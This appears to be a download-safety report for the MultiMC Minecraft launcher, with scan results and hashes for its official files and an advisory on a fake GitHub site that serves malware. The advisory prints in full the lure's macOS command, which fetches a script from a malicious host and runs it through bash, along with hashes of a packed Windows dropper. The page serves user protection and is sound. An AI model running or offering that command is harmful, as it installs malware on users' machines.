MultiMC

Launcher by MultiMC contributors

A launcher for managing multiple game installations in one place.

DownloadCheck a file you have

How we got this result

  1. Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.5 of 5 official filesLast checked on 6 Nov 2026
  2. Deep checkOur own tools read the code of each current file and look for what harmful code does, like stealing logins or running hidden programs.4 of 5 official filesLast checked on 6 Nov 2026
  3. Passed Nothing harmful found in its 5 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.

At a glance

Download
Official files for Windows, macOS and Linux.
Fake sites
1 fake site found.
Privacy
Not read.
Releases
Version 0.7.0 (develop builds).

Every official file

See each file in Releases

The files of version 0.7.0 (develop builds), by system and kind of download.

SystemArchivePackage
Windowsmmc-develop-win32.zipPassedZip (32/64-bit)File checked on 6 Nov 2026Deep check on 6 Nov 2026No file
macOSmmc-develop-osx64-5.15.2.tar.gzPassedTar.gz (64-bit, 10.13+)File checked on 6 Nov 2026Deep check on 6 Nov 2026No file
Linuxmmc-develop-lin64.tar.gzPassedTar.gz (64-bit)File checked on 6 Nov 2026Deep check on 6 Nov 2026multimc_1.6-1.debPassedDebian/Ubuntu packageFile checked on 2 Nov 2026
Linux32-bitmmc-develop-lin32.tar.gzPassedTar.gz (32-bit)File checked on 6 Nov 2026Deep check on 6 Nov 2026No file
PassedDeep checkNo file

Have a copy of MultiMC? Check that it is the official one.

Drop it here. We compare its fingerprint with the official MultiMC files and the files of the fake sites we know.

Source code
Public on GitHub
Official site
multimc.org

Which file for my computer?

mmc-develop-win32.zip

PassedNo harmful code found14.2 MB

Download

The same file we checked, straight from files.multimc.org.

Official site

1 site uses its name to give other files. See Fake sites

Download page
multimc.org/#Download
Newest version
0.7.0 (develop builds)
Account
A Microsoft account.
Builds
Its site offers development builds, rebuilt often, so their SHA-256 changes. It publishes no SHA-256.

Passed

Nothing harmful found in its 5 official files, version 0.7.0 (develop builds).

Our checks look for known signs of harm. They cannot prove that a file is harmless.

What we checked

A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.

Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
5 of its 5 official files, with every file inside them.Last checked on 6 Nov 2026
Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
4 of its 5 official files. 1 hold no Java code: programs made for one system.
Older releases
6 official files of 1 older release, every one checked.

What we found

What its Java code can do. None of this is harmful by itself: many launchers and mods do the same.

Can connect to the internet
It has code that can go online, for example to check for updates, sign you in or download the game. What it sends is in Privacy.In all 4 files whose Java code we read

What is inside

The 31 files inside mmc-develop-win32.zip.

Jar files inside
2 files.
Programs for Windows, Mac or Linux
27 files.
Graphics
None.
Other
2 files.

Every file

  • MultiMC/31 files
    • iconengines/1 file
      • qsvgicon.dll44 KB
    • imageformats/7 files
      • qgif.dll33 KB
      • qicns.dll46 KB
      • qico.dll35 KB
      • qjpeg.dll246 KB
      • qsvg.dll28 KB
      • qwbmp.dll27 KB
      • qwebp.dll358 KB
    • jars/2 files
      • JavaCheck.jar1.1 KB
      • NewLaunch.jar14 KB
    • platforms/1 file
      • qwindows.dll1455 KB
    • libeay32.dll2081 KB
    • libgcc_s_dw2-1.dll117 KB
    • libLauncher_iconfix.dll127 KB
    • libLauncher_nbt++.dll342 KB
    • libLauncher_nbt++.dll.a150 KB
    • libLauncher_quazip.dll314 KB
    • libLauncher_rainbow.dll68 KB
    • libssp-0.dll19 KB
    • libstdc++-6.dll1002 KB
    • libwinpthread-1.dll48 KB
    • MultiMC.exe9840 KB
    • qt.conf1 B
    • Qt5Core.dll5267 KB
    • Qt5Gui.dll5544 KB
    • Qt5Network.dll1577 KB
    • Qt5Svg.dll350 KB
    • Qt5Widgets.dll6384 KB
    • Qt5Xml.dll221 KB
    • ssleay32.dll436 KB
    • zlib1.dll74 KB

Not read

We have not read its Java code yet.

What we checked

A launcher can send information about you over the internet, such as your player name or your login.

Deep checkWe read the code and list each web address it can contact, and what it sends. We leave out code that is never used.
The Java code of all 4 files that hold some. See each file in Releases
Also named in its codeAddresses written in its code that no code we read contacts: a link shown to you, a default setting, or code we could not follow.
www.minecraft.net

Releases

Current files 5All releases 11

Current files: the official files of version 0.7.0 (develop builds).

Current fileVersionSystemReleasedFileOur checkGet it on
0.7.0 (develop builds)WindowsZip (32/64-bit)mmc-develop-win32.zip14.2 MB SHA-256 231a539c43…PassedNo harmful code found. Checked on 6 Nov 2026.6 Nov 2026
0.7.0 (develop builds)macOSTar.gz (64-bit, 10.13+)mmc-develop-osx64-5.15.2.tar.gz13.7 MB SHA-256 b81eaf0d3b…PassedNo harmful code found. Checked on 6 Nov 2026.6 Nov 2026
0.7.0 (develop builds)LinuxTar.gz (64-bit)mmc-develop-lin64.tar.gz3.5 MB SHA-256 5c20cfe544…PassedNo harmful code found. Checked on 6 Nov 2026.6 Nov 2026
0.7.0 (develop builds)LinuxDebian/Ubuntu packagemultimc_1.6-1.deb7.5 KB SHA-256 d30b257746…PassedNothing harmful found. Checked on 2 Nov 2026.2 Nov 2026
0.7.0 (develop builds)LinuxTar.gz (32-bit)mmc-develop-lin32.tar.gz3.6 MB SHA-256 7f9833c533…PassedNo harmful code found. Checked on 6 Nov 2026.6 Nov 2026
5 of 5 current files

A fake site uses the name of MultiMC to offer its download from an address that is not the official one.

How to know the official site

Official site
multimc.org
Files come from
files.multimc.org
SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
mmc-develop-win32.zip231a539c439ecefe60605d0ca52640382d3f8aea1e1754f0f8ec294d2d97bbb2Every official file and its SHA-256, in Releases

The 1 fake site we foundChecked on 2 Nov 2026

Of these, it gives a file with malware. Sites in one fold share their pages and their download.

github.com/xrjedatuxvvu/multimcMalwareOnline

A GitHub project created on 30 Oct 2026 by a throwaway account. Its description presents it as MultiMC, and its page adds Windows and macOS download buttons.

The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.

  • github.com/xrjedatuxvvu/multimcOnline. Its download buttons lead to a fake download page.Created 30 Oct 2026 on GitHub · Checked 5 Nov 2026

Its download

The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.

On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.

The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.

The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.

Technical details

installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4From www.resight-cheats.net, 4 Nov 2026
installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114fTriage report 261105-m584bahx9w
macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"

If you downloaded a file from one of these sites

  1. Drop the file in the Scanner. It tells you if it is an official file of MultiMC or a file of these sites.
  2. If it is not an official file and you have not opened it, delete it.
  3. If you opened it: run a full scan with your antivirus. On Windows, the built-in one is Microsoft Defender, in the Windows Security app.
  4. If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
  5. Get MultiMC from its official site, multimc.org .
Downloads
Not publishedMultiMC does not publish how many times it is downloaded. GitHub's count covers only its few downloads there.
Created
8 Sep 2013Its GitHub repository
Latest release
0.7.0 (develop builds)
License
Apache-2.0 (source code) Public on GitHub

About

MultiMC is an alternative Minecraft launcher for managing multiple cleanly separated game instances, each with its own mods, resource packs, saves, and settings. It provides a simple interface for inspecting instance details and logs, adjusting global and per-instance Java settings, and keeping an eye on the game or stopping it if it crashes or freezes. The launcher supports installing Forge, Fabric, Quilt, and LiteLoader, importing modpacks from Modrinth, CurseForge, FTB, Technic, and ATLauncher, and importing or exporting instances for sharing. It also manages Minecraft worlds and resource packs, and can run older game versions as originally released rather than relying on compatibility hacks. MultiMC emphasizes predictable behavior and a lightweight design, with color-coded logs that include extra diagnostic information.

Written from its official pages: its GitHub page and multimc.org . How we write it